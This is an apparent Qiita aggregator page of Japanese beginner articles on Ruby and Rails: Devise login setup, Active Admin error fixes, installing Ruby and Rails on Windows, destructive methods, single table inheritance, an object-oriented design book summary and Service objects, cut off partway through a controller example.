20210606のRubyに関する記事は18件です。

[Ruby on Rails] deviseを使ってログイン機能

1.Gemを入れる ターミナル gem 'devise' gem 'devise-i18n' gem 'devise-i18n-views' //上記を追加 $ bundle 2.deviseの設定 ターミナル $ rails g devise:install $ rails g devise User //deviseを用いてUserモデル作成 db/migrate/xxxxx_devise_create_users.rb def change create_table :users do |t| ## Database authenticatable t.string :email, null: false, default: "" t.string :encrypted_password, null: false, default: "" // ==== 省略 ===== // // ==== 追加したいカラム名(私の場合) ==== // t.string :last_name t.string :first_name t.integer :history_status, default: 0 t.integer :prefecture_code t.string :work t.string :profile_image_id t.text :introduction t.boolean :is_deleted, default: false // ==== ここまで ==== // t.timestamps null: false end // 必要な記述を終えたら... $ rails db:migrate デフォルトが英語表記なので、そこを変更していく。 3.ja.ymlを追加 まずは、デフォルトの:enを変更する。 config/application.rb module アプリケーション名 class Application < Rails::Application # Initialize configuration defaults for originally generated Rails version. config.load_defaults 5.2 //以下の部分を:en => :ja に変更する config.i18n.default_locale = :ja end end 次に日本語翻訳ファイルの作成を行う。 ターミナル $ rails g devise:views:locale ja このコマンドによってconfig/locales/devise.views.ja.ymlが作成される。 ファイルへの記述はこちらのgithubが良いと思われます。 これで日本語表記が完了するはずです。 4.おまけ 自分で作ったモデルも対応させたい!って時はこんな感じに作ってみましょう。 私は手動でconfig/locales/models.ja.ymlを作成。 config/locales/models.ja.yml ja: activerecord: attributes: user: last_name: 苗字 first_name: 名前 history_status: 教員歴 prefecture_code: 学校所在地 参考サイト
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【エラー】管理者画面(Active Admin)に新たに管理するモデルを追加する際に経験したエラー

はじめに 新たに管理するモデルを追加しようとした際に、エラーが出てしまった時の備忘録記事となります。 インストールの詳細は省きます。 同じ現象であれ?となった人の解決きっかけになれればと思います。 * ActiveAdmin 特有のエラーではありません。その他エラーの際にも参考になれば幸いです。    環境 macOS Bigsur Rails 6.1 Ruby 2.7 インストール gemfile に追記 gem 'activeadmin' gem 'devise' gem 'rails-i18n', '~> 6.0' gem 'devise-i18n' ターミナルで実行 bundle install エラー 【今回追加するモデル】 Movie uninitialized constant モデル名 (NameError) Did you mean? 初期化されていない定数があるときにエラーが発生 管理者画面で管理するデータを登録するテーブルがないときにエラーが発生 (例) uninitialized constant Movie(NameError) Did you mean? 下記を実行しテーブルを作成することで解決 rails g model User rails db:migrate conflict config/initializers/devise.rb Overwrite /Users/ユーザー名/アプリ名/config/initializers/devise.rb? (enter "h" for help) [Ynaqdhm] rails g devise:install を インストールしてから rails g active_admin:installをインストールしないとdevise.rbファイルがコンフリクトする [Ynaqdhm]の後に入力を求められるので、問題がなければ y を入力することで上書きできる。 PG::DuplicateTable: ERROR: テーブルが重複しているときに発生 エラー詳細 (例)movies が重複 rails db:migrate == 20210605042245 CreateMovies: migrating ===================================== -- create_table(:movies) rails aborted! StandardError: An error has occurred, this and all later migrations canceled: PG::DuplicateTable: ERROR: relation "movies" already exists データベースの重複しているテーブルを削除することで解決 drop table テーブル名; rails db:migrate (例) movies テーブルを削除 drop table movies; rails db:migrate
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Ruby on Railsの環境構築【初めの一歩】

はじめに 初投稿になります。(どうかお手柔らかに・・・) スキルアップを目的とした活動の記録、そして誰かの役に立てればなぁと思い作成しました。 1.Rails実行の必要条件(今回やること) Railsガイドを見るとRubyだけではRailsは動かないようです。 以下のものがPCに入っているのが条件なんだとか。 ・Ruby ・SQLite3 ・Node.js ・Yarn 条件を満たすために上から順にやっていきましょう。 2.環境・PCスペック等 必要ないと思いますが一応・・・ OS Windows10 CPU core i5-4570 メモリ 12GB 3.Ruby本体のインストール Rubyの公式サイトにインストール方法がいくつか紹介されていた。 (https://www.ruby-lang.org/ja/downloads/) 一般的に使用されることの多いOS(LinuxやMacOS,Windows等)はインストール方法が提供されているらしい。 今回はWindows10向けに提供されている「RubyInstaller」( https://rubyinstaller.org/ )を利用する事にした。 ダウンロードボタンをクリックするとダウンロードページに遷移できる。 公式のダウンロードページに2021/06/05時点で「安定版は 3.0.1です。」との記述があるためこの言葉を信用してダウンロード開始。 ダウンロードが完了したら実行して以下の手順で進める。 ①I accept the License にチェックしてNextボタンを押下。 ②ファイル場所を指定しない場合はInstallを押下。 ③何かよく分からないけどとりあえずNext(気になる人は調べてからNext) ④終わるまで待つ ⑤FINISH!!! 4.MSYS2のインストール 「2.Ruby本体のインストール」を手順通りに終わらせると、MSYS2というやつのインストールが始まる。 こいつはWindowsでUNIX等のシェルを使えるようにするためのものみたい。 よく分からない。使ってから覚えよう。 以下の手順でインストール(多分あってる) ①Enterターン ②Success!!! なんか警告とかいっぱい出てくるけど成功してるのでよさそう? 知識は後からついてくると信じて次に行きます。 5.初めてのRuby インストール時に環境変数が設定されているためコマンドプロンプトで「ruby」が使えるようになっている。 とりあえずインストールが出来ているか確認するため 次のバージョン確認のコマンドを実行する $ruby -v 次のような結果を出力すれば正常にインストール出来ている ruby 3.0.1p64 (2021-04-05 revision 0fb782ee38) [x64-mingw32] 次はハローワールド 任意の場所にファイルを作成して次のコードを入力する helloworld.rb print "Hello World" 作成したファイルをコマンドプロンプトで指定して実行 今回はCドライブ直下とします。 $ruby C:\helloworld.rb 以下のような出力が出れば上手く出来ています Hello World 6.SQLite3のインストール RailsでSQLite3を使用するには、SQLite3本体とDLLファイルが必要なようです。 本体については次のgemコマンドを使ってインストールします。 $gem install sqlite3 1 gem installed という表示が出れば正常に完了。 次にDLLファイルのダウンロード SQLite3のダウンロードサイト(https://www.sqlite.org/download.html )から「sqlite-dll-win65-x64-3350500.zip」をダウンロード ダウンロードした物を展開して、中身に入っているdllファイルをRubyのbinフォルダの中に移動します。 ↓↓↓上のファイルを下のフォルダに移動 なんだかよく分かってないけど、これでヨシ! 7.Node.jsインストール 次はNode.jsをインストール nodejsのサイト( https://nodejs.org/ja/ )からダウンロード 今回は推奨版を使う。 ダウンロードしたインストーラーを実行してとりあえず全部YESマン!FINISH!!!(適当だけど大丈夫) ダウンロードが完了したら次のコマンドでバージョンを確認する $node -v バージョン情報が出てきたらOK! 8.Yarnのインストール 次はYarnのインストール YarnはNode.jsのパッケージ管理らしい。 npmとの違いがよく分からないが、とりあえず必要らしいのでインストールします。 node.jsをインストールしたときにnpmコマンドが使用できるようになっているので以下のコマンドを実行 $npm install --global yarn インストール後に以下コマンドで恒例のバージョン確認しよう。 $yarn -v 結果 1.22.10 良い感じ! 9.Ruby on Railsのインストール Ruby on Railsのインストールにはgemコマンドを使用します。 このgemコマンドとは、Rubyのパッケージ管理をするためのものです。 バージョン云々がありますが、とりあえず動けばよいので最新版をダウンロードします。 以下のコマンドを実行します。 $gem install rails インストールが始まります。 完了後に正常にインストール出来ているか確認するためにバージョン確認コマンドを実行する。 $rails -v 以下のような結果になればOK Rails 6.1.3.2 10.Railsサーバー起動 これでいよいよ最後です。 まずはサーバー起動のために任意の場所にアプリケーションの作成をしましょう。 今回はCドライブ直下にします。 $cd / $rails new sample 意外と長かった。 successfully installedという表示が出ていれば正常に作れています。 次にサーバーの起動です。作成したアプリケーションまで移動して、以下のコマンドを実行 $cd C:\sample $rails s しばらくすると、 Listening on http://127.0.0.1:3000 という表示が出るのでこのアドレスにブラウザでアクセスします。 (127.0.0.1というのは自身を指すアドレスで3000はポート番号になります!) この画面が出たら正常にサーバーが起動できています! やったね!! 今後 今後も週1程度で更新できていければな~と思っています。 お気づきの点がございましたらコメント等で教えていただければ幸いです。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

破壊的メソッドとはオブジェクトの内容を変更するメソッドである,のか?

Ruby プログラミングを学ぶうえで非常に重要なのが非破壊的メソッドと破壊的メソッドの区別ですよね。 「破壊」だなんて物騒! まるで壊してダメにしてしまうかのような用語ですが,そうではなく,レシーバーであるオブジェクトに変化を与えうるメソッドを「破壊的メソッド」と呼んでいるだけですね。 さて,Ruby の初心者向け記事で 破壊的メソッドとはオブジェクトの内容を変えるメソッドである。 というような説明を非常によく目にします。 どこかのスクールでそう教えてるんでしょうかね? この記事のテーマは,この言明が果たして正しいのかどうか,ということです。 結論を先に書くと,これは「おおむね正しいが,適切な表現ではない」となります。 何をもってオブジェクトの「内容」とするかで正しいかどうかが違ってきます。 例えば文字列オブジェクトの「内容」とは何でしょうか? やはり,「どんな文字がどう並んでいるか」ですよね,内容って。 そういう意味では,「文字列の内容を変えない破壊的メソッド」は存在します。 以下のコードを見ましょう。 str = "Ruby" p str.frozen? # => false str.freeze p str.frozen? # => true "Ruby" という文字列リテラルで文字列オブジェクトを生成し,ローカル変数 str に代入しました。 そのあと,そのオブジェクトが「凍結されているか」どうかを確認したところ,凍結されていないことが分かりました。 「凍結されている」というのは,オブジェクトに変化を与えることができない,という意味です。 次に,そのオブジェクトの freeze メソッドを呼びました。 このメソッドは,オブジェクトを凍結するメソッドです。 そのあと再び「凍結されているか」を確認すると,凍結されていました。 freeze メソッドによって文字列オブジェクトの「状態」が変化しました。つまり,freeze は破壊的メソッドです。 しかし,上述の意味での「文字列の内容」は変更していません。 こんなふうに,「オブジェクトの内容を変更しないがオブジェクトに変化を与える」メソッドは他にもあります。 ハッシュのデフォルト値を変更する Hash#default= なんかもそうですね。デフォルト値を変えたところで,要素(キー/バリューのペア)が変わるわけではありません。「存在しないキーでアクセスしたときの値」が変わるだけです。 これが,冒頭で掲げた言明を「適切な表現ではない」とする根拠です。 しかし,もちろん ハッシュのデフォルト値も「内容」だ。オブジェクトの凍結状態も「内容」だ。 とする立場もあるでしょう。この場合,冒頭の言明は正しいことになります。しかし,少なくとも誤解を生じやすいとは言えるかと思います。私はああいう表現を避けますね。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Ruby]破壊的メソッドと非破壊的メソッドを使ったときの挙動の違い

はじめに Ruby初学者です。 本記事はRubyの破壊的メソッドと非破壊的メソッドを使ったときの挙動について、書いたものです。 破壊的メソッドと非破壊的メソッドの違い 結論からいうとオブジェクト自身の内容を変えてしまうものを破壊的メソッド、変わらないものを非破壊的メソッドと呼びます。 破壊的メソッドの実行例 破壊的メソッドupcase!メソッドを使って実行結果を見てみましょう。 ※ !のついたメソットは全て破壊的メソッドになります。しかし気をつけなければならないのは!がついていない破壊的メソッドもあるということです。 word = "abc" word.upcase! p word => ABC 破壊的メソッドはオブジェクト自身の内容を変えるのでwordが書き換えられているのがわかります。 非破壊的メソッドの実行例 非破壊的メソッドupcaseを使って実行結果を見てみます。 word = "abc" word.upcase p word => abc 上記のようにwordが変わっていないのがわかります。upcaseは大文字に変換したものを返り値として返すメソッドなので、wordを書き換えたい場合は次のようにします。 word = "abc" word = word.upcase p word => ABC 2つのオブジェクトの動き .object_idを使うとどのオブジェクトを参照しているか、見ることができます。 破壊的メソッドを使った場合と非破壊的メソッドを使った場合でどういう動きをするかを見てみます。 宣言時 word1 = "abc" word2 = word1 p word1.object_id => 70316803929680 p word2.object_id => 70316803929680 上記を見てみると代入時は同じオブジェクトを見ていることがわかります。 1.破壊的メソッドの場合 破壊的メソッドを使った場合はどうなるでしょうか。 先ほどのupcase!を使ってみてみましょう word1 = "abc" word2 = word1 word1.upcase! p word1 => "ABC" p word2 => "ABC" p word1.object_id => 70316803929680 p word2.object_id => 70316803929680 word1とword2の値が変更されオブジェクトのIDが変わらないのがわかります。 これにより破壊的メソッドはオブジェクトの値そのものを変更するということが理解できます。 2.非破壊的メソッドの場合 破壊的メソッドを使った場合はどうなるかupcaseを使ってみましょう word1 = "abc" word2 = word1 word1 = word1.upcase p word1 => "abc" p word2 => "ABC" p word1.object_id => 70316807663740 ←違うオブジェクトIDを見ている p word2.object_id => 70316803929680 upcaseで置換後word1が新しいオブジェクトを見ていることがわかります。 もう一方のword2は代入時と同じオブジェクトIDとなっています。 まとめ 今回のポイントは以下になります。 破壊的メソッドは、オブジェクトの値そのものが変更される。(オブジェクトIDは同じ) 非破壊的メソッドは、新しいオブジェクトが生成されて値が変更される(オブジェクトIDは変わる)
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Rails】単一テーブル継承(STI)でDRYな設計をしよう!

単一テーブル継承とは 同じカラム設計のテーブルを、一つのテーブルにまとめて、継承することで余計なテーブルを増やさず、DRYなテーブル設計にするというもの。考え方はクラスの継承と同じです。 不使用時と使用時の比較 住所テーブルを作成し、同じ内容でユーザーの住所テーブルと、勤め先の住所テーブルを用意する。 不使用時 それぞれのテーブルとモデルを用意している。 テーブル Addressesテーブル、WorkAddressesテーブル、UserAddressesテーブル モデル Addressモデル、WorkAddressモデル、UserAddressモデル 使用時 Addressesのみ用意して、それを継承したモデルを用意している。 テーブル Addressesテーブル モデル Addressモデル、WorkAddressモデル、UserAddressモデル app/models/address.rb class Address < ApplicationRecord end app/models/work_address.rb class WorkAddress < Address end app/models/user_address.rb class UserAddress < Address end
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

「オブジェクト指向設計実践ガイド」まとめ

はじめに オブジェクト指向について勉強するため、オブジェクト指向設計実践ガイドを読むことにしました。 前回は「オブジェクト指向でなぜつくるのか第3版」を読んでオブジェクト指向の基礎的なところを抑えられたと思うので、今回は実際のアプリケーション開発でどのようにオブジェク指向を使うのかという実践的なところを学ぶため、この本にしました。 第1章 オブジェクト指向設計 1.1 設計の賞賛 永く動くアプリケーションであればあるほど、変更を加えるのが大きな問題となる 設計が貧弱だとオブジェクト間の依存関係が邪魔をして、変更が困難になる 設計の目的は後にでも設計をできるようにすることであり、そのための目標は変更コストの削減 1.2 設計の道具 設計原則(SOLID) オブジェクト指向設計の5つの原則をSOLIDという この原則に従えば、コードを改善できる 設計(デザイン)パターン オブジェクト指向設計には、原則に加えてパターンもある それぞれのパターンについて理解し、どのパターンを使うのか適切に選ぶことが大切 1.3 設計の行為 最初の設計が十分でないと、その後の設計に失敗する アジャイルでは、最初にBUFD(全体の詳細設計)を作ることに意味はない アジャイルでオブジェクト指向設計を行う場合、「変更しやすいようにどのようなコード構成にするか」を考える 1.4 オブジェクト指向プログラミングのかんたんな導入 手続き型言語 文字列・数値・配列などのデータ型が予め用意されており、それらを使うだけ 複雑なデータ構造を定義する(あらかじめ定義されているデータ型を集め、名前のついた構成にする)ことはできる しかし、完全に新しい操作や、まったく新しいデータ型を作ることはできない 振る舞いとデータは完全に別 オブジェクト指向言語 振る舞いとデータを、1つのオブジェクトにまとめる プログラマー自身が新たなデータ型(オブジェクト)を作ることができる 第2章 単一責任のクラスを設計する クラスを使って、今すぐに求められる動作を行い、且つ後にも簡単に変更できるようアプリケーションをモデル化する 2.1 クラスに属するものを決める コードの書き方は知ってるけどどこに書けば良いかわからない段階では、メソッドを正しくグループ分けしてクラスにまとめることが重要 変更が簡単なようにコードを組成するには、TRUEであるべき 見通しが良い(Transparent) 合理的(Reasonable) 利用性が高い(Usable) 模範的(Examplary) 2.2 単一の責任を持つクラスをつくる なぜ単一責任が重要なのか 何をするべきか整理されておらず、いくつかの責任が絡み合ったクラスだと、クラスの本来の目的とは関係ない理由で変更されてしまう 変更が加わるたびに、そのクラスに依存する全てのクラスを破壊する可能性があり、アプリケーションを予期せず壊してしまう クラスが単一責任かどうかを見極める クラスの持つメソッドを質問に言い換えた時に、意味をなす質問になっているか 1文でクラスを説明できるか 「それと」や「または」が含まれていたら、単一責任ではない 2.3 変更を歓迎するコードを書く データではなく、振る舞いに依存する 単一責任のクラスを作れば、どんな振る舞いでも一箇所のみに存在するようになる これがDRY「Don't Repeat Yourself」の概念 インスタンス変数を隠蔽するには、メソッドで包む 隠蔽することで、予期せぬ変更がコードに影響を与えることを防ぐ 複雑なデータ構造も隠蔽する Rubyには、構造を包み隠すためのクラスStructが用意されている あらゆる箇所を単一責任にする メソッドから余計な責任を抽出する クラス内の余計な責任を隔離する 責任がありすぎて混沌としているクラスは、それらの責務を別のクラスに分ける 第3章 依存関係を管理する 3.1 依存関係を理解する 依存関係を認識する オブジェクトが以下のものを知っている時、オブジェクトには依存関係がある 他のクラスの名前 selef以外のどこかに送ろうとするメッセージの名前 メッセージが要求する引数 それらの引数の順番 依存関係を管理して、それぞれのクラスが持つ依存を最低限にすることが重要 オブジェクト間の結合(CBO: Coupling Between Objects) 2つ以上のオブジェクトの結合が強固になると、1つのユニットのような振る舞いになる 1つのオブジェクトに変更を加えると、全てのオブジェクトに変更を加えないといけなくなる このように管理されていない依存関係を持つアプリケーションは、全てを変更するよりも一から書き直した方が簡単な状態になってしまう 3.2 疎結合なコードを書く 依存オブジェクトの注入 クラス間の結合の切り離しを実現する 依存オブジェクトの注入を使うためには、「クラス名を知っておく責任や、そのクラスに送るメソッドの名前を知っておく責任が、どこか他のクラスに属するものではないかと疑える能力」が必要 依存を隔離する インスタンス変数の作成を分離する 他のクラスのインスタンスの作成を、initializeから分離して独自に定義したメソッド内で行う この時にRubyの||=演算子を使って、インスタンスの作成を引き延ばすようにする 脆い外部メッセージを隔離する 引数の順番への依存を取り除く 固定された順番の引数だと、その順番が変わった場合に修正箇所が膨大になる そこで、固定順の引数をオプションハッシュに置き換える 3.3 依存方向の管理 クラスの振る舞いにアドバイスすると「自身より変更されないものに依存しなさい」となる このアドバイスは、以下3つの概念が元になっている あるクラスは、他のクラスよりも要件が変わりやすい 具象クラスは、抽象クラスよりも変わる可能性が高い 多くのところから依存されたクラスを変更すると、広範囲に影響が及ぶ 第4章 柔軟なインターフェースをつくる オブジェクト同士は、オブジェクトが持つ「インターフェース」を介して、会話している 4.1 インターフェースを理解する 他のオブジェクトが使えるよう晒されたメソッドによって、パブリックインターフェースが定義されている 4.2 インターフェースを定義する パブリックインターフェースとプライベートインターフェースが存在するのは、それが最も効率的に仕事ができる方法だから メソッドにパブリックやプライベートと印をつけることは、クラスの使用者に対してどのメソッドなら安全に依存できそうかを伝えている パブリックインターフェースは、クラスの責任を明確に述べる契約書である パブリックインターフェース クラスの主要な責任を明らかにする 外部から実行されることが想定される 気まぐれに変更されない 他者がそこに依存しても安全 テストで完全に文書化されている プライベートインターフェース 実装の詳細に関わる 他のオブジェクトから送られてくることは想定されていない どんな理由でも変更され得る 他者がそこに依存するのは危険 テストでは、言及さえされないこともある 4.3 パブリックインターフェースを見つける 見当をつける アプリケーションに求めらる要件をユースケースとする このユースケースを満足させるために必要なオブジェクトとメッセージの両方について、まず見当をつける シーケンス図を使う オブジェクトとメッセージの実験をするためには、シーケンス図がうってつけの方法 ユースケースでの名詞はシーケンス図ではオブジェクトになり、ユースケースでのアクションはシーケンス図ではメッセージになる 設計の重点がクラスからメッセージになる 設計の質問が「このクラスが必要なのは知ってるけど、これは何をすべきか」から「このメッセージを送る必要があるけど、誰が応答すべきか」に変わる オブジェクトが存在するからメッセージを送るのではなく、メッセージを送るためにオブジェクトが存在する 「どのように」を伝えるのではなく「何を」を頼む クラス間の会話が「どのように」から「何を」に変わると、パブリックインターフェースのサイズが一段と小さくなる コンテキストの独立を模索する オブジェクトがそのコンテキストから独立していることが、ベストな状況 ほかのオブジェクトを信頼する オブジェクト同士が手放しで信頼しあえることが、オブジェクト指向設計の要 「私は自分が何を望んでいるかを知っているし、あなたがそれをどのようにやるかも知っているよ」 「私は自分が何を望んでいるかを知っていて、あなたが何をするかも知っているよ」 「私は自分が何を望んでいるかを知っていて、あなたがあなたの担当部分をやってくれると信じているよ」 オブジェクトを見つけるためにメッセージを使う 単一責任の原則を破っている場合、新しいオブジェクトが必要 新しいオブジェクトは、そこにメッセージを送る必要性があったために発見される 4.4 一番良い面(インターフェース)を表に出すコードを書く 明示的なインターフェースを作る パブリックインターフェースに含まれるメソッドは、以下のようであるべき 明示的にパブリックインターフェースだと特定できる 「どのように」よりも、「何を」になっている 名前は、考えられる限り、変わり得ないものである オプション引数として、ハッシュをとる Rubyのpbulic・protected・private この3つのキーワードは、全く異なる2つの用途で用いられる 1つ目は、どのメソッドが安定でどのメソッドが不安定か 2つ目は、どれだけメソッドが見えるか制御するため この3つのキーワードを使うことで、以下2つのことを伝えられる 「将来の」プログラマーが持つ情報よりも、今の自分の方がより良い情報を持っていると信じている 今の自分が不安定だと考えているメソッドを、将来のプログラマーに不用意に使われることは防がなければならないと信じている 4.5 デルメルの法則 デルメルの法則は、オブジェクトを疎結合にするためのコーディング規則の集まり デルメルの法則に違反すると パブリックインターフェースの正確な定義と特定ができていない 実害がない場合もある デルメルを定義する 「直接の隣人にのみ話しかけよう」「ドットは1つしか使わないようにしよう」 3つ目のオブジェクトにメッセージを送る際、異なる型の2つ目のオブジェクトを介することを禁じる 違反を回避する 委譲を使うと違反を回避できる Ruby→delegate.rb・forwardable.rb Ruby on Rails→delegateメソッド デルメルに耳を傾ける デルメルが伝えたいのは「委譲をもっと使いましょう」ということではない 「何を」を求めて、メッセージチェーンを再考する メッセージに基づく視点に移行してメッセージを見つければ、そのメッセージは自ずと何らかのオブジェクトのパブリックインターフェースとなる そのオブジェクトが何のオブジェクトなのかは、メッセージ自体が導いてくれる 第5章 ダックタイピングでコストを削減する ダックタイプは、いかなる特定のクラスとも結びつかないパブリックインターフェース オブジェクトは、そのクラスよりもその振る舞いによって定義される 「もしオブジェクトがダック(アヒル)のように鳴き、ダックのように歩くならば、そのクラスが何であれ、それはダックである」 5.1 ダックタイピングを理解する オブジェクトが何で「ある」かではなく、何を「する」か ダックタイプを見つけて実装することで、設計上の複雑な問題を解決できる 5.2 ダックを信頼するコードを書く 設計上で難しいのは、ダックタイプが必要であることに気づくことと、そのインターフェースを抽象化すること 隠れたダックを認識する方法として、以下のものはダックで置き換えることができる クラスで分岐するcase文 kind_of?とis_a? responds_to? これらは、未特定のダックの存在を示唆している つまり、まだパブリックインターフェースを発見できていないオブジェクトを見逃している ダックタイプを新たに作るかは、その時の判断による 設計の目的は、コストを下げること 不安定な依存が減るなら作ればいい 5.3 ダックタイピングへの恐れを克服する 静的型付けは、ダック対応を無効化する ダックタイピングは、動的型付けの上に成り立つ 第6章 継承によって振る舞いを獲得する 6.1 クラスによる継承を理解する 継承とは、根本的に「メッセージの自動委譲」の仕組み 6.2 継承を使うべき箇所を識別する 「『あなたが誰なのか』知っている。なぜなら私は『あなたがすること』を知っているのだから。」 これはダックタイプを見つけた時のようにで、サブクラスを見つけることができる Rubyをはじめ多くのオブジェクト指向言語は、単一継承である スーパークラスはサブクラスをいくつも持てる それぞれのサブクラスには、1つのスーパークラスしか許されない 6.3 継承を不適切に適用する サブクラス内のオーバーライドされたメソッドでsuperを送ると、そのメッセージがスーパークラスのチェーンを上って渡されて行く これによって、サブクラスは必要でない振る舞いを継承してしまう場合がある 6.4 抽象を見つける 継承が効果を発揮するために、以下の2つが常に成立している必要がある 「一般 - 特殊」の関係をしっかりと持っている 正しいコーディングテクニックを使っている オブジェクト指向プログラミング言語の中には、明示的にクラスを抽象概念として宣言する構文を持つものもある 例えば、Javeのabstractキーワード Rubyは他者を信頼する性質からそのようなキーワードは備えておらず、制約を加えることはない サブクラスをたった1つだけ持つ抽象的なスーパークラスを作ることは、無意味 抽象的な振る舞いを昇格する 具象から抽象を分ける テンプレートメソッドパターンを使う スーパークラス内で基本構造を定義して、サブクラス固有の貢献を得るためにメッセージを送るテクニック 6.5 スーパークラスとサブクラス間の結合度を管理する フックメッセージを使って、サブクラスを疎結合にする superを送るよう求めるのではなく、スーパークラスが代わりに「フック」メッセージを送るようにする フックメッセージは、サブクラスがそれに合致するメソッドを実装することによって情報提供できるようにするための、専門メソッド 第7章 モジュールでロールの振る舞いを共有する 7.1 ロールを理解する 元々関連の無かったオブジェクトに、共通の振る舞いを持たせる この共通の振る舞いが「ロール(役割)」 多くのオブジェクト指向言語には、名前を付けてメソッドのグループを定義する方法が備わっている Rubyでは、これをモジュールと呼ぶ モジュールは、共通のロールを担うための完璧な方法と言える しかし、モジュールを使うと設計はより複雑になる オブジェクトは自身を管理するべき 自身の振る舞いは自身で持つべき 「オブジェクトBに関心がある時、オブジェクトBを知りたいがためにオブジェクトAの知識が求められる」ということがあってはいけない 具体的なコードを書く 抽象を抽出する Rubyのextendキーワードを使うと、オブジェクト1つだけにモジュールのメソッドを追加できる ロールの振る舞いを継承する 7.2 継承可能なコードを書く アンチパターン オブジェクトがtypeやcategoryという変数名を使い、どんなメッセージをselfに送るか決めているパターン このようなコードは、クラスによる継承を使うように再構成できる 共通のコードは抽象スーパークラスに置いて、サブクラスを使って異なる型を作る メッセージを受け取るオブジェクトのクラスを確認してから、どのメッセージを送るかをオブジェクトが決めているパターン これは、ダックタイプを見落としてしまっている 受け手のオブジェクトは、ダックタイプのインターフェースを実装するべき 抽象に固執する 抽象スーパークラス内のコードを使わないサブクラスがあってはいけない 契約を守る サブクラスはスーパークラスと置換できることを約束する リスコフの置換原則(LSP) 第8章 コンポジションでオブジェクトを組み合わせる コンポジションとは、組み合わされた全体が、単なる部品の集合以上となるように、個別の部品を複雑な全体へと組み合わせる(コンポーズする)行為 8.1 自転車をパーツからコンポーズする オブジェクトは部品の集合(parts)を表すのであり、単一の部品(part)を表すのではない 全てのBicycleがPartsオブジェクトを必要とする 「Bicycle have a Parts」である 8.2 Partsオブジェクトをコンポーズする Partをつくる BicycleはPartsオブジェクトを1つ持ち、Partsは複数のPartオブジェクトを持つ Partsオブジェクトをもっと配列のようにする 走査と検索のための共通メソッドを使えるようにするために、Enumerableをインクルードする 8.3 Partsを製造する 他のオブジェクトを製造するオブジェクトファクトリーを使う RubyのOpenStructクラスを導入する 8.4 コンポーズされたBicycle 集約 - 特殊なコンポジション コンポジション 「has-a」関係を持ち、かつ包含される側のオブジェクトが包含する側のオブジェクトから独立して存在し得ない 集約 コンポジションに似ているが、包含される側のオブジェクトの存在が独立していることが異なる 8.5 コンポジションと継承の選択 直面した問題がコンポジションで解決できるものあれば、コンポジションで解決することを優先する コンポジションが持つ依存は、継承が持つ依存よりはるかに少ないため 継承を選ぶ場合は、継承が低いリスクで高い利益を生み出してくれるとき 継承の利点 オープン・クローズド(Open-Closed)である →拡張には開いており(open)、修正には閉じている(closed) 継承のコスト 継承が適さない問題に対して、誤って継承を選択 他のプログラマーによって、全く予期していなかった目的のために使われる可能性がある コンポジションの利点 責任が単純明快であり、明確に定義されたインターフェースを介してアクセス可能 適切にコンポーズされたオブジェクトは利用性が高く、想定していなかった新たなコンテキストでも簡単に利用できる コンポジションのコスト 多くのパーツに依存する 明示的にどのメッセージを誰に委譲するかを必ず知っておく必要がある is-a関係を継承に使う behaves-like-a関係にダックタイプを使う has-a関係にコンポジションを使う 第9章 費用対効果の高いテストを設計する 変更可能なコードを書くために欠かせない3つのスキル オブジェクト指向設計の理解 コードのリファクタリングに長けていること 価値の高いテストを書く能力 9.1 意図を持ったテスト テストの意図 バグを見つける 仕様書となる 設計の決定を遅らせる 抽象を支える 設計の欠陥を明らかにする 何をテストするかを知る パブリックインターフェースが安定している限り、テストを一度書けば、書いた人は永遠に安心できる テストの方法を知る Rubyにおいてテストのためのメインストリームのフレームワークは、MiniTestとRSpecがある テスティングの様式には、テスト駆動開発(TDD)と振る舞い駆動開発(BDD)がある 9.2 受診メッセージをテストする 使われていないインターフェースを削除する パブリックインターフェースを証明する テスト対象のオブジェクトを隔離する クラスを使って依存オブジェクトを注入する ロールとして依存オブジェクトを注入する 9.3 プライベートメソッドをテストする テスト中ではプライベートメソッドは無視 プライベートメソッドはパブリックメソッドのテストで実行されている プライベートメソッドは不安定 プライベートメソッドのテストをすることで、他のメソッドがそれらを間違って使ってしまう テスト対象からプライベートメソッドを取り除く プライベートメソッド自体を作らない プライベートメソッドを大量に持つオブジェクトは、責任を大量に持ちすぎた可能性が高い 9.4 送信メッセージをテストする クエリメッセージを無視する テストでは、selfに送られたメッセージは無視されるべき 外に出ていくクエリメッセージも、無視されるべき コマンドメッセージを証明する メッセージを送ったことを証明する モックを使う 状態のテストとは対照的に、モックは振る舞いのテストである メッセージが何を戻すかの表明をするのではなく、メッセージが送られるという期待を定義する 9.5 ダックタイプをテストする ロールの担い手が共有できるテスト ロールをテストする テストを一度だけ書けば、ロールを担う全てのオブジェクトを再利用できる ロールテストを使ったダブルのバリデーション ロールのテストを、スタブすることで生じる壊れやすさを減らすために使う ダックタイプのテストをしたいという要望によって、ロールに対する共有可能なテストの必要性が生まれた そして、一度このロールに基づいた視点を獲得してしまえば、様々な状況でそれを活用できる 9.6 継承されたコードをテストする 継承されたコードのテストの目標は、リスコフの置換原則を守っているか サブクラスの責任を規定する サブクラスの振る舞いを確認する スーパークラスによる制約を確認する 固有の振る舞いをテストする 具象サブクラスの振る舞いをテストする 抽象スーパークラスの振る舞いをテストする
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Rails】Serviceオブジェクトとの付き合い方。

Serviceオブジェクトとは 肥大化したActiveRecordモデルを分割し、コントローラをスリムかつ読みやすくするうえで非常に有用な、Ruby on Rails開発における一種の開発パターンです。 どんな時に利用する? 複数のモデルに対するコールバックなどを含み、多くの手順で構成された複雑なアクションで、適切な定義箇所が見つからない場合 アクションから外部サービスとやりとりする場合 メリット ModelやControllerがシンプルになり、可読性が向上する 処理がservice層に切り出されている為、Modelのテストが書きやすい Webのインタフェースからビジネスロジックを切り離すことで、責任範囲が明確になる デメリット 明確なルールが存在しない チームでの認識を合わせるのが難しく、運用が難しい 本質的にServiceオブジェクトパターンそのものには、コードベースを読みやすくする力も、メンテしやすくする能力も、concernをうまく分割する手腕もない 実装例 Serviceオブジェクト class Staff::Authenticator def initialize(staff_member) @staff_member = staff_member end def authenticate(raw_password) @staff_member && @staff_member.hashed_password && @staff_member.start_date <= Date.today && (@staff_member.end_date.nil? || @staff_member.end_date > Date.today) && BCrypt::Password.new(@staff_member.hashed_password) == raw_password end end コントローラー app/controllers/staff/sessions_controller.rb class Staff::SessionsController < 